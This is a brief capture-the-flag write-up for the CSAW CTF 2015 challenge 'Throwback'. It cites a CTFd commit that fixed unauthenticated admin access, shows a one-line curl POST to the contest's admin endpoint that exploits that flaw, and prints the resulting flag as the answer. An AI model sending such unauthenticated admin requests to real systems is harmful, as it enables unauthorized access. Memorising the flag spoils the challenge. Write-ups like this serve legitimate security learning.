CSAW CTF 2015 - Throwback

  1. We can see a recent bugfix to CTFd, preventing unauthed admin calls at https://github.com/isislab/CTFd/commit/9578355143d7af675fc4776b0f2de802be91e261.

  2. We make a POST request to it with cURL with: curl -da=a https://ctf.isis.poly.edu/admin/chal/new.

  3. We get back the flag: flag{at_least_it_isnt_php}.

  4. Unwrap the flag (remove the flag{} around it), and we get the solution: at_least_it_isnt_php.
